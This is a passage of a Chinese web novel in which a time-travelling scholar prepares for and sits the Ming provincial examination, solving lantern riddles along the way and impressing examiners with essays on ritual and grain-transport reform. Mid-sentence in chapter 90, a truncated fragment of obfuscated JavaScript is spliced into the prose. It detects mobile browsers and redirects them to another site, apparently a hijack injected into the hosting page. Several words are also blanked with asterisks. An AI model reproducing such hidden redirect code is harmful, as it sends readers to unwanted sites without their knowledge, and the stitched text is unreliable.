从破题、承题、起讲,
到入手、起股、中股、后股、束股,
严格遵循八股格式,
不敢有丝毫逾越。
但这格式的枷锁之内,
却要尽显才情与见识。
每成一稿,
他先是自行用超频大脑进行苛刻的自我审阅:
逻辑是否严密?
论证是否充分?
典故是否贴切?
语气是否得体?
有无犯忌之处?
修改数遍后,再呈送文彭批阅。
文徴明老先生对此子是倾囊相授,
批改得极其认真。
红笔勾勒,蝇头小楷的评语写得密密麻麻。
“此句气弱,须提振!”
“用典过僻,恐考官不察。”
“见识是好的,然语气过锐,需含蓄一二。”
“这一股对仗工整,情理交融,颇佳!”
苏惟瑾便将每一份批注都视若珍宝,
超频大脑将其彻底吸收,
融入自己的写作模板库中,
不断优化调整。
他进步的速度,
让见惯了天才的文徴明都时常感到震惊。
往往一个缺点指出,
下次绝不会再犯;
一种技巧点明,
下回便能运用得青出于蓝。
日子就在这枯燥、
疲惫却又无比充实中飞逝。
窗外晨曦暮霭交替,
窗内灯烛常明至深夜。
小奇负责打理一切杂事,
送饭、沏茶、
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磨墨、铺纸,
看着自家少爷以肉眼可见的速度消瘦下去,
眼圈常常是青的,但那双眼睛却越来越亮,
锐利得仿佛能穿透书卷,看尽古今。
他心疼,却不敢劝,
只能把饭菜做得更精细些,
把墨磨得更浓些。
苏惟山和苏惟虎则负责守门,
挡掉了一切不必要的拜访和应酬。
**轩来过一次,
见苏惟瑾埋首书山、
心无旁骛的样子,
交谈两句便知其用功之深,
心下佩服,也不多扰,告辞离去。
其余那些文会上认识的士子,
更是被苏惟山俩兄弟那“生人勿近”的架势挡在了门外。
偶尔夜深人静,疲累欲死时,
苏惟瑾也会推开窗,
望着金陵城的万家灯火,
深吸一口凉气。
他会想起沭阳,想起七叔公的期盼,
想起赵教谕的赏识,
想起芸娘默默的关切,
王雪茹爽朗的鼓励,
赵文萱清丽的字迹……
甚至,会偶尔闪过秦淮河上那惊鸿一瞥的清越歌声。
但这些念头,很快就会被更强的意志压下去。
转化为更汹涌的学习动力。
他知道,自己没有退路。
寒门子弟,欲登天子堂,
除了这一腔孤勇、满腹才学,
别无依仗。
乡试,是龙门,跃过去,**;
跃不过,便可能被打回原形,甚至更糟。
超频大脑是他的**器,
但最终的答卷,仍需他一笔一划去书写。
时间一天天流逝,
桌上的稿纸越堆越高,
手臂因长时间书写而酸麻肿胀,
眼睛布满血丝,但他的精神却愈发凝练,
文章也愈发老辣圆融,气象自成。
文徴明某日看完他新写的一篇关于漕运改革的策论,
久久不语,最后长叹一声:
“玉衡,以你如今火候,
中式已是板上钉钉。
所争者,不过五经魁首,
乃至……解元耳!
望你好自为之,
最后关头,切勿松懈!”
苏惟瑾躬身谢过先生,
抬起头,眼中平静无波,
只有深不见底的自信与坚定。
“学生,必竭尽全力。”
磨剑数月,霜刃即将试锋。
江南贡院那扇沉重的大门,已遥遥在望。
第88章 秦淮智破谜,暗香识玉衡
寒窗苦读,光阴如白驹过隙。
转眼间,嘉靖元年的乡试便在纸墨清香与金陵秦淮河上隐隐传来的丝竹声中临近。
紧绷的弓弦需得稍弛方能蓄力,
随着乡试日近,那股弥漫在士子间的焦灼气氛反而稍稍缓和了些。
乡试将至,秦淮河上早已筹备起盛大的“莲台仙会”,
正是考前放松、会友交流的绝佳时机。
**轩再次登门,这次语气带了几分不由分说:
“闭门造车,终非良策。
莲台仙会,天下盛景,兼有文事,不可不去。
你若再推拒,便是瞧不起我等金陵同窗了。”
苏惟瑾自苦读中抬起头,
揉了揉发涩的双眼,心知此言在理。
超频大脑虽强,亦需张弛有度,
融入本地士林,收集信息,
调整心态,亦是备考一环。
他微微一笑,从善如流:
“徐兄盛情,岂敢再却?
便随兄台去领略一番这金陵莲台仙会。”
是夜,金陵城火树银花,亮如白昼。
秦淮河两岸,各式灯棚鳞次栉比,争奇斗艳。
鱼龙灯、走马灯、荷花灯、琉璃灯……
千姿百态,光华璀璨,将河水映照得流光溢彩,恍如仙境。
游人如织,摩肩接踵,笑语喧哗声震耳欲聋,
比起苏惟瑾初至那夜,又多了十分喜庆热闹。
**轩、钱姓士子等五六人结伴而行,穿行于灯海人潮之中。
小奇和众书童跟在后面,
手里很快塞满了买的糖人、花灯,兴奋得满脸放光。
行至一处开阔地,
但见十数名国子监学生正围着一只双耳细口陶壶嬉戏。
那陶壶置于五步之外,
众人轮流执羽箭投掷,
中者欢呼,不中者罚酒,
正是古雅投壶之戏。
钱士子见状笑道:
“此乃君子之戏,最合我等读书人。
苏兄可要一试?”
苏惟瑾摆手推辞,
**轩却已接过羽箭,
手腕轻抖,那箭矢划出一道弧线,
稳稳落入壶中,顿时引来一片叫好。
众人继续前行,
钱士子果然是个热闹人,
一路指点:
“瞧见那搭得最高的灯楼没?
是徽州盐商们凑份子弄的,
据说请了苏州的匠人,
扎了整整三个月!”
“那边,对对,
就是围着最多人的那个棚子,
是‘萃文轩’书坊设的,
猜中灯谜彩头是上好的湖笔徽墨!”
经过一处精致水榭时,
但见里面文人云集,
或品评诗词,或挥毫泼墨,
钱士子低声道:
“那是‘金陵文社’的雅集,
据说今晚还要评选本年度的‘秦淮花榜’,
点评金陵名妓才艺呢。”
众人啧啧称奇间,
忽见前方一处临水的巨大灯棚前,
里三层外三层围满了人,
喝彩声、叹息声、争论声不绝于耳。
那灯棚装饰得极为雅致,
四周悬挂的皆是绘着山水花鸟或题着诗词的绢灯,
居中则高悬数盏巨大的走马宫灯,
每一面都贴着一道朱笔写就的谜题。
“是‘停云阁’的灯棚!”
钱士子眼睛一亮,压低声音道。
“这可是今晚最难的一处!
听说背后的东家神秘得很,
出的谜题刁钻古怪,
彩头也极丰厚,
是一方古砚和一套前朝孤本!
难倒了不少狂生才子呢!”
此言一出,顿时勾起了众人的好胜心。
**轩也挑眉望去。
挤进人群,只见那几道谜题果然非同一般。
其一:“东风不与周郎便,铜雀春深锁二乔。(打一物)”
其二:“黑不是,白不是,红黄更不是,和狐狸猫狗仿佛,既非家畜,又非野兽。(打一字)”
其三:“上不在上,下不在下,不可在上,且宜在下。(打一字)”
其四:“能使妖魔胆尽摧,身如束帛气如雷。
一声震得人方恐,回首相看已化灰。(打一玩物)”
围观者议论纷纷,有冥思苦想的,
有交头接耳的,却无人能连续猜中。
偶有一人猜对一题,便已引得一片赞叹。
钱士子挠头:
“这……这都什么跟什么啊?
又是典故又是字谜的……”
另一友人也皱眉:
“尤其这第二道,像个绕口令,
是何用意?”
**轩凝视片刻,缓声道:
“第一题应是用赤壁典故,
谜底或是‘雀’?
但‘锁二乔’又似乎不对……”
众人皆觉棘手,
目光不由自主地转向一直沉默观察的苏惟瑾。
钱士子怂恿道:
“苏兄,你素来思路清奇,不妨试试?”
苏惟瑾超频大脑早已启动,
眼中数据流无声闪动。
第一题,关键词:东风、周郎、铜雀、二乔。
指向赤壁之战,但谜底非典故本身,而是“物”。
东风是关键,不与便则事不成……
他脑中灵光一闪,脱口道:
“第一题,可是‘风筝’?”
众人一愣。
苏惟瑾解释:
“东风若不助周郎,则曹胜孙刘败,
二乔真要被锁铜雀台矣。
然此事需借东风方能避免,
故谜底乃借东风之物——风筝。
放风筝需借风势,
正合‘借东风’之意。”
守灯棚的老者抚掌笑道:
“公子高才!正是风筝!”
一片哗然与赞叹!
**轩眼中闪过佩服之色。
紧接着第二题:
“黑、白、红、黄都不是,
像狐猫狗……狐、猫、狗皆为犬旁!
‘仿佛’指字形相近,
‘非家畜非野兽’点明此字之意。”
苏惟瑾几乎无停顿。
“此字当为‘犹’字!
犬旁,与狐猫狗仿佛,
且‘犹’有‘如同’、‘相似’之意,
既非具体家畜野兽,正合谜面!”
“妙啊!”
这下连**轩都忍不住喝彩!
这解谜角度,刁钻而精准!
老者连连点头:“又中!”
不待众人反应,苏惟瑾目光扫过第三题:
“上不在上,下不在下……
指‘一’字。
‘一’字可在上为‘上’字下部,
可在下为‘下’字上部,
但本身‘不可在上,且宜在下’,
强调其作为基础之意。
谜底是‘一’。”
“至于第四题,”
他微微一笑。
“声势骇人,瞬间即逝,化身灰烬——自然是‘爆竹’。”
电光石火间,四道难题尽数破开!
现场先是一静,
随即爆发出震天的喝彩声!
“好!!”
“这位相公真是捷才!”
“这是哪里的才子?面生得很啊!”<
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br>“好像是北直来的,
姓苏……”
惊叹声、议论声如同潮水般涌起。
钱士子等人与有荣焉,
兴奋得满脸通红。
**轩看着苏惟瑾,目光复杂,
既有赞赏,也有一丝不易察觉的竞争意味。
果然,人群中挤出一个面色有些不豫的青衣秀才,
似乎不服,高声诘难道:
“这位兄台解得虽快,
但第四题‘能使妖魔胆尽摧’,
爆竹岂有如此威力?
未免牵强!
依我看,或是‘霹雳火’之类!”
苏惟瑾不慌不忙,拱手道:
“这位兄台请了。
谜语重在意趣联想,
而非实证考据。
爆竹之声威,于孩童眼中,
足可惊退想象中的妖魔鬼怪,
且‘化灰’之态更是爆竹特征。
若论实际威力,便是军中震天雷,
也未必真能吓退妖魔了。
兄台以为否?”
那人顿时语塞,面红耳赤,
在众人的哄笑声中讪讪退下。
守棚老者笑着将一方古砚和一套用锦盒装好的书卷奉上:
“苏公子才思敏捷,老朽佩服!
这是彩头,请公子收下。”
苏惟瑾谦逊一笑,让苏惟山接过。
人群之外,临水的一艘精致画舫上,珠帘轻掩。
舱内,一位身着淡雅衣裙、容貌清丽的女子,
正凭窗而坐。
方才外面的喧嚣与喝彩,
早已传入舱中。
她身侧几位文人模样的男子正在品评诗词,
案上散着花榜评选的笺纸,
显是刚进行完雅集。
一名小丫鬟兴奋地跑进来,
叽叽喳喳地禀报:
“小姐小姐!外面有位年轻公子,
好生厉害!
那四道难题,
他眨眼功夫就全猜出来了!
说得头头是道,
把那个挑刺的李秀才都驳得没话讲!
听人说,是北直隶来的秀才,
叫苏惟瑾,字玉衡!”
“苏惟瑾……玉衡……”
女子轻声重复了一遍,
声音如清泉滴落玉盘。
她微微侧首,目光似乎想穿透珠帘,
看清外面那道惊才绝艳的身影,
最终却只是唇角微扬,
露出一丝极淡却极感兴趣的笑意。
“思维敏捷,见解独特……
倒是个有趣的人。”
她低声自语,
纤纤玉指无意识地拨动了案上的琴弦,
发出一声清越的微鸣。
窗外,苏惟瑾婉拒了更多士子的结交攀谈,
与**轩等人挤出人群。
经过一处投壶游戏时,
被几个相识的士子强拉着试手。
苏惟瑾推辞不过,
取过一支羽箭,看似随意一掷,
那箭竟在空中划出巧妙弧线,
不偏不倚投入壶中,
且正是最难的双耳孔洞,
又引来一阵喝彩。
**轩大笑:“玉衡兄深藏不露!”
苏惟瑾只笑笑,
心道这不过是物理抛物线计算的小把戏。
众人继续赏灯,
方才的锋芒毕露似已被他抛诸脑后,
神情依旧平静。
但他不知,
“沭阳苏惟瑾,善思捷才”之名,
已随着今晚的灯火与喝彩,
悄然在这金陵士林圈中流传开来。
而一双清冷的眼睛,
已于暗香浮动处,
悄然记住了“玉衡”二字。
第89章 秋闱启闸,笔落惊风雨
嘉靖元年的八月初九,
金陵城头残星未褪,
薄雾如纱,笼罩着这座六朝古都。
然而,平日尚显静谧的江南贡院周遭,
此刻却已是人声鼎沸,
火把如龙,将黎明前的黑暗撕扯得支离破碎。
空气里弥漫着一种近乎凝滞的紧张,
混合着汗味、火把的烟味、
早点摊子飘来的油条焦香,
以及无数颗剧烈跳动的心脏泵出的焦灼气息。
江南贡院那朱红的高墙、
巍峨的门楼,在今夜显得格外森严肃穆,
如同一位沉默的巨神,
俯瞰着脚下这群即将决定自身命运的渺小生灵。
苏惟瑾站在人群中,
一身浆洗得发白的青衫襕袍熨帖平整,
这是他秀才功名的象征,
亦是踏入眼前这座龙门的唯一凭证。
他身后,苏惟山、苏惟虎如同两尊铁塔,
肌肉贲张,硬生生在拥挤的人潮中为他撑开一小片空间。
小奇则双手死死抱着考篮,
指节因用力而发白,
嘴里无意识地反复念叨:
“笔墨、蜡烛、干粮、水……薄荷膏,
都带了,都带了……”
“少爷,真不再看看书了?”
小奇忍不住又问,声音发颤。
苏惟瑾摇摇头,
目光沉静地扫过四周。
超频大脑如同精密雷达,
无声地收集着信息:
左侧那个被仆役簇拥、
面色倨傲的锦衣公子,
想必是某位官宦子弟;
右前方那个穿着打补丁长衫、
反复搓着手心的中年秀才,
眼里满是孤注一掷的惶然;
更远处,甚至能看到须发花白的老者,
由儿孙搀扶着,眼神浑浊却执拗……众生百态,皆系于今朝。
他的视线与不远处的**轩相遇。
**轩脸色略显苍白,
但眼神依旧冷峻,
对他微微颔首,一切尽在不言中。
他也瞥见了元宵节上被他驳得哑口无言的李秀才,
对方正眼神复杂地看过来,
带着嫉妒与一丝畏惧,
迅速别开了脸。
“咚——咚——咚——”
三声低沉宏亮的炮响,
似如巨锤砸在每个人的心头,
瞬间压过了所有嘈杂!
贡院那两扇漆黑沉重、
据说用了无数铁力木造就的大门,
在令人牙酸的“吱呀”声中,
被缓缓推开。
门内是一条深邃的甬道,
两侧高墙上的灯笼发出幽暗的光,
仿若巨兽张开的口,
等待着吞噬这些怀揣梦想的士子。
“肃静!排队!验身入场!”
官员声嘶力竭的吼声通过传声木槽放大,
回荡在每个人耳边。
兵丁们立刻上前,盔甲碰撞,
刀鞘轻响,强硬地将混乱的人群分割成数条长队。
搜检开始了。
气氛陡然绷紧到极致!
差役们眼神锐利如鹰隼,
呵斥声不绝于耳。
“脱帽!解发!”
“外衣脱了!鞋袜也脱!”
“胳膊抬起来!”
考篮被粗暴地翻开,饼饵被掰碎,
砚台被倒扣敲击,笔杆被拧开,
蜡烛被掰断检查芯子……
任何一丝可疑都逃不过他们的审查。
“大人!冤枉啊!
那是我娘缝的平安符!”
一个学子哭喊着被拖出队伍,
他藏在夹袄里的一张写着经文的黄帛被搜出。
“滚出去!终身禁考!”
差役面无表情地宣布。
那学子顿时瘫软如泥,嚎啕大哭,
其状凄惨,令旁观者无不心悸。
苏惟瑾坦然接受检查。
冰凉的双手在他身上摸索,
考篮被翻得底朝天。
他心如止水,超频大脑甚至有余暇分析这些差役的搜检流程是否高效。
顺利通过后,他接过那枚刻着“地字叁佰贰拾柒号”的竹签,触手冰凉。
踏入贡院大门的一刹那,
一股混合着陈旧木头、
陈年墨汁、灰尘和淡淡霉味的特殊气息扑面而来,沉重而压抑。
眼前景象豁然开朗,
却又令人窒息——无数间低矮的号舍如同蜂巢蚁穴,
密密麻麻、一眼望不到尽头地排列在广阔庭院的两侧及后方!
他沿着指示找到“地”字区域,
寻到自己的号舍。
推开吱呀作响的木门,
一股更浓的霉味涌出。
号舍极其狭小,宽不过三尺,深仅四尺,
高勉强能容人站立。
两块活动木板,一为桌,一为凳,
晚上拼起便是床。
墙角放着一个散发异味的老旧瓦罐,
这便是未来九天的“官房”。
苏惟瑾面不改色,放下考篮,
取出布巾,仔仔细细将条案、木板擦拭干净。
然后有条不紊地摆放文具:
注水、研墨、润笔、铺纸……动作沉稳,不见丝毫慌乱。
相邻号舍传来压抑的咳嗽声、沉重的叹息声,
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>甚至隐约的啜泣,但他心志如铁,不受干扰。
不知过了多久,第二通炮响!
“主考官到——!”
整个贡院瞬间鸦雀无声,落针可闻。
所有目光齐刷刷投向中心那座高耸的明远楼。
一队仪仗森严的官员缓步登楼。
为首者身着绯袍仙鹤补服,
面容清癯,三缕长须,目光沉静而极具威仪,
正是此次南直隶乡试主考官、礼部右侍郎、翰林院学士——翟銮!
其人身负清名,学问渊博,
深得嘉靖帝信任,
此次派他来主持南直隶这等文风鼎盛之地的乡试,足见朝廷重视。
翟銮立于楼栏前,目光如电,
扫过下方近万间号舍,声如洪钟,
透过特殊的传声结构清晰传遍每个角落:
“奉天承运皇帝,诏曰:国家抡才大典,旨在为国选贤……
尔等寒窗苦读,当思上报君恩,下安黎庶……
务须尽心竭虑,秉笔直书……
若有行险侥幸、舞弊作奸者,国法森严,决不姑息!……”
煌煌圣谕,字字千钧,如同重鼓敲在每个人心上。
训话毕,又是焚香祭孔、验封试卷箱等一系列庄严繁琐的仪式。
阳光渐烈,终于,胥吏们抬着贴满封条的试卷箱,
在兵丁护卫下开始按巷分发。
“地字叁佰贰拾柒号!”
苏惟瑾应声,从小窗接过厚厚一叠试卷。
弥封严实,触手微凉。
他深吸一口气,用刀小心挑开弥封。
题纸展开——
超频大脑瞬间以最高功率运转!
光芒在眼底一闪而逝。
首场《四书》义题赫然在目:
“子曰:士志于道,而耻恶衣恶食者,未足与议也。”
来了!
乡试第一题,便是直指士人根本志向的拷问!
无数相关信息瞬间奔涌、碰撞、重组:
朱注的阐释、陆九渊的心学观点、
文彭先生的课堂点拨、沿途所见流民之苦、
自身寒微出身的体悟、乃至穿越者对于“物质与精神”的现代思辨……
框架瞬息成型,观点层层明晰,破题角度刁钻而深刻!
他提笔,蘸墨,狼毫笔尖饱满欲滴。
窗外的喧嚣、号舍的憋闷、未来的荣辱……此刻皆已远去。
他的世界里,只剩下眼前雪白的卷纸,
和胸中那即将喷薄而出的、凝聚了无数心血与超时代智慧的——
锦绣文章!
笔尖落下,第一滴墨,如惊风雨。
第90章 经义藏机锋,落笔避雷霆
笔尖悬于纸上一瞬,
苏惟瑾的超频大脑已如精密仪器般高速运转起来。
“士志于道,而耻恶衣恶食者,未足与议也。”
——这句话表面看是孔子谈论士人志向与物质享受的关系,
劝诫读书人应安贫乐道。
若按寻常理解,
大可洋洋洒洒写一篇“君子固穷”、“淡泊明志”的文章,
引经据典,四平八稳,绝无错处。
但,这是南直隶乡试!
主考官是京中清流领袖翟銮!
题目岂会如此简单?
超频大脑瞬间调取海量信息进行交叉分析:
嘉靖元年至今,“大礼议”之争愈演愈烈,
皇帝与杨廷和等旧臣围绕“谁为皇考”、
“祭祀之礼”展开激烈博弈,
本质是皇权与阁权、
新兴势力与旧有文官体系的较量。
此事牵动朝野,
所有官员士子都必须站队表态。
翟銮虽看似中立,
但其学术背景与**倾向……
关键词触发:
“礼”、“义”、“名分”、“本质与形式”!
这道题,绝非仅仅考“安贫乐道”!
它暗藏机锋,是在借圣人之言,
隐喻当前“大礼议”中关于“礼之本质”与“外在形式”的争论!
若一味强调“耻恶衣恶食”即志不坚,
则暗合某些要求皇帝恪守旧礼、
不得尊崇生父的言论;
若过分强调“志道”可超越一切形式束缚,
则又有迎合帝意、冲击礼法之嫌。
两端皆是悬崖!
如何破题,方能既展才学,又避祸端?
苏惟瑾心念电转,
眼中数据流无声奔腾。
他果断放弃了非此即彼的简单论述。
超频大脑的优势在于超越时代的宏观视角和精微考据能力!
有了!
不走极端,不直接触碰敏感**,
而是回归学术本身,
用无人能及的考据深度和思辨高度,
对“道”、“志”、“耻”之内涵进行重新厘清和深化阐释!
让文章本身的光芒,
掩盖掉可能存在的**隐喻解读!
思路既定,苏惟瑾深吸一口气,
提笔便写,毫无滞涩。
破题,他并未直斥“耻恶衣恶食”者,
而是另辟蹊径:
“夫士之志于道,犹农之志于稼,
工之志于器,其本一也。
所耻者,非衣恶食恶,
乃志之不笃、道之不明也。”
开篇便将“耻”的对象巧妙转移,
从外在物质引向内在心志,
立意顿时高了一层。
承题、起讲,
他大量引用《礼记》、
《孟子》中关于“礼之本在敬”、
“君子谋道不谋食”的论述,
夯实基础。
随即,笔锋悄然转入更深层次的考辨。
他超频大脑中存储的后世乾嘉考据学成果、
近代哲学思辨此刻化为无形利刃。
他并未直接引用那些惊世骇俗的结论,
而是以其方**,
对相关经典字句进行了极其精微的剖析。
例如,他辨析“耻”字在《论语》不同语境中的细微差别:
有时是“以……为耻”,
强调的是外在评价引发的内心感受;
有时则是“可耻”,
指向行为本身的性质。
进而引申出,
“耻恶衣恶食”更多是一种对外在境遇的“情感反应”,
而“志于道”则是一种主动的、理性的“价值追求”。
二者并非完全对立,
但若因过度关注前者而动摇后者,
便是本末倒置。
他又考据“道”与“礼”的关系:
“礼者,道之文也;
道者,礼之本也。”
指出执着于“恶衣恶食”这类外在形式(礼之文)而忘却内在追求(道之本),
才是真正的“未足与议”。
反之,若内心真正志于道,
则外在条件的优劣,
皆不足以动摇其心志,
故亦无需以“恶衣恶食”为耻。
这番论述,引证广博,
逻辑严密,层层递进,
将一个问题剖析得淋漓尽致。
它似乎完全沉浸在学术探讨中,
未直接涉及“大礼议”半个字,
但其对“本质与形式”的深刻辨析,
却又无声地回应了当下的争论核心
——礼之根本在于敬与诚,
而非完全僵化的外在仪式。
这既暗合了嘉靖帝强调“父子亲情”的某种合理性(心志为本),
又未否定礼法本身的重要性(文以载道),
堪称走在钢丝上的完美平衡!
写到精妙处,
苏惟瑾自己都觉酣畅淋漓。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605607|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>这种融合了现代逻辑学、语言学、考据学的降维打击,
放在这个时代,简直是核武器级别的学术论文。
他几乎能想象到,
若把这篇文章扔到现代学术期刊上,
足以引发一场关于儒学诠释学的小规模地震。
号舍内极其安静,
只有笔尖划过纸张的沙沙声,
以及他自己平稳的呼吸声。
相邻号舍那位考生似乎卡在了破题,
不停地唉声叹气,
甚至传来烦躁地轻捶桌板的声音。
更远处,隐约有巡场衙役规律的脚步声走过。
苏惟瑾心无旁骛,手腕稳定,运笔如飞。
精妙的论述、贴切的典故、
严谨的结构如同早已编好的程序,
通过他的笔端流畅输出。
字迹端正清劲,虽非书法大家,
却也自有一股沉稳气度。
文章最后,他再次升华,
将主题拉回到士人的责任与担当:
“是故士之所志,在明道救世,
而非计较于一衣食之微。
能明道,则陋巷箪瓢不改其乐;
能救世,则朱紫玉食不移其志。
若徒以衣冠饮食相矜诩,
而于大道茫无所知,
于生民漠不关心,此真圣门所耻,
岂独恶衣恶食哉?”
掷笔于砚,一篇八百余字的经义文章一气呵成。
通读一遍,逻辑自洽,论证坚实,
考据精详,既展现了无人能及的学术深度,
又巧妙地规避了所有**雷区,
甚至隐隐透出一种超越时代的高远视角。
爽!
知识降维打击的快感,莫过于此!
他小心吹干墨迹,
将试卷置于一旁,心中一片澄明。
首战告捷,这开门一炮,
定然能在那群阅卷官中炸出不小的动静。
此刻,日头已渐升高,
阳光透过号舍高窗的小格,
在案头投下一方明亮的光斑。
苏惟瑾揉了揉有些发酸的手腕,
取出干粮和水,开始补充体力。
接下来的诗赋和另外几道经义题,
也需全力以赴。
但有了这第一篇定心丸,
他信心更足。
江南才子们,你们可知,
这小小的号舍里,
藏着一尊怎样的“学术巨炮”?
龙门角逐,才刚刚开始。
第91章 漕弊策惊鸿,经济显神威
首场墨渖未干,第二场的战鼓已然擂响。
三日煎熬,号舍内气味愈发浑浊难闻,
混合着墨臭、汗酸、以及角落瓦罐隐隐散发的不雅气息。
多数考生已是面色憔悴,眼窝深陷,
有人甚至伏案小憩时发出了轻微的鼾声,
又被巡场衙役的梆子声惊醒,惶然四顾。
苏惟瑾却依旧保持着惊人的清醒。
超频大脑高效运转,
压制着生理上的疲惫感。
他利用间歇时间闭目养神,
脑中却不停复盘首场文章,
推敲可能存在的疏漏,
同时调整状态,准备迎接更为重要的策问。
第二场试卷发下,题目展开的刹那,
苏惟瑾眼底精光一闪!
“问:江南漕粮,国之血脉,
然逋欠日增,损耗日巨,
胥吏侵渔之弊屡禁不绝。
诸生贯通经史,留心经济,
其各抒所见,以禅国计。”
漕运弊政!
这正是他现代知识储备的强项所在!
超频大脑中,
关于物流管理、成本控制、制度经济学、
乃至明代漕运史的大量资料瞬间被激活、排列、重组!
他没有丝毫犹豫,略一沉吟,便再次提笔。
这一次,笔锋更显锐利,
带着一种洞穿迷雾的自信。
开篇,他并未像寻常策论那样先**,
或空泛地批判“人心不古”、“吏治败坏”,而是直指核心:
“漕运之弊,非独在胥吏之贪黩,
更在制度之疏漏、运作之靡费。
计其全程,征、兑、运、交、仓,环节冗杂,
经手之人如过江之鲫,
每一环节皆可盘剥,此弊之一;
漕船老旧,运力低下,河道淤塞,
航行迟缓,风雨漂没,鼠雀耗损,此弊之二;
军民交困,征粮则百姓苦于附加,
运粮则卫所疲于奔命,上下怨嗟,此弊之三。
三弊交织,积重难返,非大刀阔斧,难见成效。”
这开篇三段论,如同手术刀般精准解剖,
将庞杂的漕运问题清晰地归纳为制度、技术、民生三个层面,
会顿时让阅卷官眼前一亮,知其绝非纸上谈兵之辈。
紧接着,他祭出了杀招
——数据化的成本分析(当然,数据来源推给“尝考历年邸报及地方志略”):
“以苏松常镇四府岁漕百万石计,
民间实际输纳,往往倍之(暗示火耗、淋尖踢斛等附加税)。
漕船自南至北,一岁仅得一往返,
沿途关闸阻滞、雇纤拉挽、官吏勒索,
其费又不知凡几。
及至通州仓场,百万石粮,
实入仓者往往不过七十万石有奇!
损耗三成有余!
此皆民脂民膏,国帑虚耗!”
这粗略却触目惊心的“三成损耗论”,
虽无精确统计支撑,
却高度符合当时人对漕运**的认知,极具冲击力!
批判之后,便是建设。
苏惟瑾笔锋一转,
提出三条石破天惊的改革构想:
“其一,试行‘漕粮折色’。
于漕运不便或灾伤之地,
可许民以银钱折纳漕粮。
朝廷得银,可于产地或粮价低平处采买,
亦可充作军饷、官俸,省却运输损耗,
亦减轻百姓实物输送之苦。
此非尽废漕运,乃因地制宜,双管齐下。”
“其二,酌行‘官督商运’。
择漕运一段或数段,仿盐法开中制,
召募诚信商贾,许其承包运输。
订立合约,明确运量、时限、损耗标准,
官府负责监督稽查、维护河道。
商贾为求利,必精心核算,
汰换旧船,改善管理,效率自生。
可先于江南河段试点,
成效显著再行推广。”
“其三,推行‘标准化’管理。
由工部核定漕船制式,
统一载重、吃水、用料,以便维修调度;
户部核定漕粮包装、仓储标准,
减少鼠雀、霉变之耗;
沿途设立核查点,采用‘三联单’或‘循环簿’,
清晰记录交接数量、时间,责任到人,
严防中途掉包、掺假。”
每一条建议,
他都辅以简单的操作设想和潜在好处分析,
并用这个时代能理解的语言进行包装。
例如解释“官督商运”时,
他引用《史记·货殖列传》“天下熙熙,
皆为利来;天下攘攘,皆为利往”,
指出善于利用“利”之驱动,亦可成事;
解释“标准化”时,
则以“车同轨、书同文”为喻,
强调统一规范对高效管理的重要性。
全文逻辑严密,环环相扣,
既有高度概括,又有具体措施,
既针砭时弊,又提出切实可行的改革路径,
完全超越了空泛的道德议论和琐碎的技术建议,
展现出一种宏大的、
系统的战略眼光和解决问题的务实能力。
写完最后一个字,
苏惟瑾缓缓搁笔。
他甚至能感觉到,
这篇策论所蕴含的现代经济学和管理学思想,
如同投入一潭死水的巨石,
必将在这大明朝的官场引起难以想象的波澜。
“若能实施十之一二,漕运痼疾,或可缓解……”
他心中默念,一股参与历史、改变现实的豪情油然而生。
试卷被收走,送入弥封官处誊录、糊名。
随后,朱笔誊写的副本被送入阅卷官所在的至公堂。
至公堂内,烛火通明。
十数位阅卷官埋首于如山的试卷中,
神情疲惫却不敢懈怠。
副主考、同考官们先进行初审,
筛选出优等卷,再呈送主考官翟銮裁定。
当一位来自户部的同考官读到“地字叁佰贰拾柒号”的漕运策论时,
初时还不甚在意,越读越是心惊,
读到“折色”、“商运”、“标准化”、“三成损耗”等语时,
竟忍不住倒吸一口凉气,霍然起身!
“奇文!真乃奇文!”
他失声低呼,引得周围同僚纷纷侧目。
“何事惊慌?”
另一位同考官皱眉问道。
那户部官员也知失态,
忙压低声音,却难掩激动:
“诸位快来看此
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卷!
论漕运之弊,如老吏断狱,直指要害!
所提三策,看似大胆,细思却极有道理!
尤其这‘折色’与‘官督商运’,
若操作得当,确能解眼下之急!”
几位同考官围拢过来,
传阅之下,无不色变。
有人击节赞叹:
“此人竟能将商事之道用于国计,
思路之开,前所未见!”
也有人疑虑重重:
“‘商运’?岂非与民争利?
恐滋流弊……”
“不然,你看其所言‘官督’,
重在监督规制,非全然放手……”
争议声中,这份试卷被毫无疑问地列为“荐卷”,
送到了副主考面前。
副主考阅后,亦是沉吟良久,
目光闪烁,最终批下“见识卓绝,
胆略过人,然事涉重大,
需慎酌”的评语,
将其置于待呈送翟銮的那一摞卷子的最上方。
夜深人静,至公堂内只剩主考官翟銮仍在挑灯夜阅。
当他拿起那篇“地字叁佰贰拾柒号”的漕运策论时,
起初神色平静,
但很快,他的眉头微微蹙起,
随即越皱越紧,阅读的速度明显慢了下来。
他看到的不再是华丽的辞藻,
而是锐利如刀的分析;
不再是空泛的议论,
而是缜密如网的逻辑;
不再是畏首畏尾的保守,
而是充满魄力的创新!
读到精妙处,
翟銮的手指无意识地在桌上轻轻敲击,
眼中爆发出惊人的神采。
当看到“三成损耗”、“标准化”、“三联单”等词时,
他竟忍不住以手抚卷,
低声重复:
“竟能如此……竟能如此计较?”
及至看完,他默然良久,
忽然猛地一拍桌案!
“啪”的一声脆响,在寂静的夜里格外清晰,
吓得门外值守的胥吏一个激灵。
“好!好一个‘以利导之,以规制之’!
好一个‘省无用之耗,
增国库之实’!”
翟銮抚卷长叹,脸上尽是激赏与震撼。
“此子非但学问渊博,
更具经世之实才!
观此策论,非深谙钱谷、洞悉人情者不能为!
其才岂止于一翰林词臣?
当为户部、工部之选也!”
他拿起朱笔,在那份试卷上郑重地画了一个圈,
沉吟片刻,又在一旁空白处写下两个小字:“经魁”。
这意味着,在他心中,
此卷经义策问之高,已堪为此科之首!
然而,激动过后,
翟銮看着那大胆至极的改革建议,
尤其是“官督商运”和“折色”,
眉头又渐渐锁紧。
这些举措,牵涉太多利益,阻力定然巨大。
“锋芒太露,不知藏拙……
也不知是福是祸。”
他喃喃自语,将试卷小心地收入一个特殊的匣中。
